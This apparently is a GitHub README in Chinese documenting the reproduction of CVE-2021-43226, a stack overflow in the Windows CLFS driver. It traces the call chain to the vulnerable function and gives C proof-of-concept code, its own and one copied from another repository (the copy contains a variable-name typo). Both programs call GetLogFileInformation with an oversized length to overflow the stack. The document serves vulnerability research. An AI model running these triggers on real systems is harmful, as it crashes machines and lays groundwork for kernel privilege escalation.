Skip to content

a Proof of Concept of cve-2021-43226,stack overflow in Windows driver clfs.sys

Notifications You must be signed in to change notification settings

Rosayxy/cve-2021-43226PoC

Repository files navigation

CVE-2021-43226复现

环境

操作系统:Hyper-V上Win10 20H2 版本号19042.508,发现一个网站https://os.click/en, windows镜像比较全而且暂未发现后门
因为找到的PoC是用Visual Studio 2013编译,所以我也是用Visual Studio 2013静态链接程序的

漏洞

漏洞点在clfs.sys里面的CClfsLogFcbVirtual::QueryLogFileInfo函数中 clfs.sys在microsoft的Documentation中描述为

The Common Log File System (CLFS) API provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.

该函数第一个指针是一个CClfsLogFcbVirtual* this,对比patch前后的代码,可以发现一个比较直观的区别是在一段如下代码v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))( *((_QWORD *)this + 78), a2, 0i64, 0i64, 0, Src, Size);前有没有设置Size为120
由该函数调用的其他参数中,a2是一个FILE_OBJECT,Src是栈上的一个数组(IDA反编译出__int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF)而且对这个漏洞的描述是栈溢出,推测当Size大于120的时候会发生栈溢出
遇到的一个问题是没办法直接查看cross reference,该函数通过__guard_dispatch_icall_fptr来调用,目前还在确定函数调用中传参的过程中
(update):该函数被ClfsQueryLogFileInformation或者CClfsRequest::LogFileInfo两个函数调用,其中分别使用到了CreateLogFile和GetLogFileInformation两个API,其中由于GetLogFileInformation的调用链明显更短,所以选择该API来产生crash GetLogFileInformation调用时最后一步传参如下,是在LogFileInfo函数中:

v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(
            *((_QWORD *)this + 18),
            v14,
            **(unsigned int **)(*((_QWORD *)this + 6) + 24i64));

其中v14是一个FileObject,this是作为参数传入LogFileInfo的一个CClfsRequest

继续看调用LogFileInfo的函数,是CClfsRequest::Dispatch(具体声明为__int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3)),该函数通过LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;来判断具体进一步调用哪一个函数,其中CurrentStackLocation是一个struct,struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx作为参数传入,而this的赋值又依赖于上层函数传给这个dispatch的参数,所以我们进一步往上面看
接下来是CClfsDispatchIoRequest函数v7 = CClfsRequest::Dispatch(v4, Irp, a1);a1和Irp是传入的参数,a1是一个DeviceObject,Irp是一个PIRP类型即IRP的指针(IRP可以参考https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp) v4赋值如下:

v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);
if ( v6 )
  v4 = CClfsRequest::CClfsRequest(v6);//v4是一个int64类型

接下来继续看传参,到了CClfsDriver::LogIoDispatch函数,该函数直接把自己接受的传参就传给CClfsDispatchIoRequest函数了 再上一步就是nt!IofCallDriver函数了,该函数声明是NTSTATUS IofCallDriver( PDEVICE_OBJECT DeviceObject, __drv_aliasesMem PIRP Irp );

复现

先找一下API的具体声明和参数含义
GetLogFileInformation:

CLFSUSER_API BOOL GetLogFileInformation(
  [in]      HANDLE            hLog,
  [in, out] PCLFS_INFORMATION pinfoBuffer,
  [in, out] PULONG            cbBuffer
);

其中参数定义如下:

  • hLog:从成功调用 CreateLogFile 获取的打开日志的句柄。日志句柄可以引用专用日志或多路复用日志。
  • pinfoBuffer:指向接收日志元数据的用户分配 CLFS_INFORMATION 结构的指针
  • cbBuffer:指向变量的指针,输入时指定 pinfoBuffer 指向的元数据缓冲区的大小(以字节为单位)
#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
	//create log file
	wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
	HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
	if (handle == INVALID_HANDLE_VALUE){
		printf("sad:(\n");
		abort();
	}
	printf("create log file success\n");
	//sizeof(CLS_INFORMATION)是120即是0x78
	CLFS_INFORMATION buffer;
	ULONG t = 0x120;
	BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
	return 0;
}

其中,CreateLogFile和GetLogFileInformation的参数就照着Microsoft的文档抄就行(https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file) 但是对于logname遇到了一点问题,一开始基本上是按照文档里的

例如:路径“LOG:c:\MyDirectory\MyLog”创建文件“c:\MyDirectory\MyLog.blf”。 但是发现了这样的话,直接会在当前目录里创建一个叫做c的日志文件,就看了PoC(Others),改成了Windows系统上的通用路径写法"LOG: C:\MyLog",但是这样的话也不行,调试发现调用不到CClfsLogFcbVirtual::QueryLogFileInfo而去调用CClfsLogFcbPhysical::QueryLogFileInfo函数,所以加入了一个LogStreamName,就可以了 还有一个小问题,就是visual studio生成代码时,采用的静态链接,如果没有#pragma comment(lib,"clfsw32.lib")一行linker就会反复报错找不到CreateLogFile,GetLogFileInformation

PoC(Others)

(https://github.com/KaLendsi/CVE-2021-43224-POC)

#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")

int main() {
	wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";

	//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";

	//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";

	//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0

	//SECURITY_ATTRIBUTES psaLogFile = {};
	HANDLE   hLog = CreateLogFile(szLogath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
	if (INVALID_HANDLE_VALUE == hLog)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	if (!RegisterManageableLogClient(hLog, 0))
		printf("error=%d\n", GetLastError());
	printf("hLog=%p\n", hLog);
	CLFS_INFORMATION pinfoBuffer = {};

	//ULONG infoSize = sizeof(pinfoBuffer);
	ULONG infoSize = 0x110;

	//	system("pause");
	DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
	if (dwRet == NULL)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	printf("dwRet=%08x\n", dwRet);

	return 0;
}

About

a Proof of Concept of cve-2021-43226,stack overflow in Windows driver clfs.sys

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages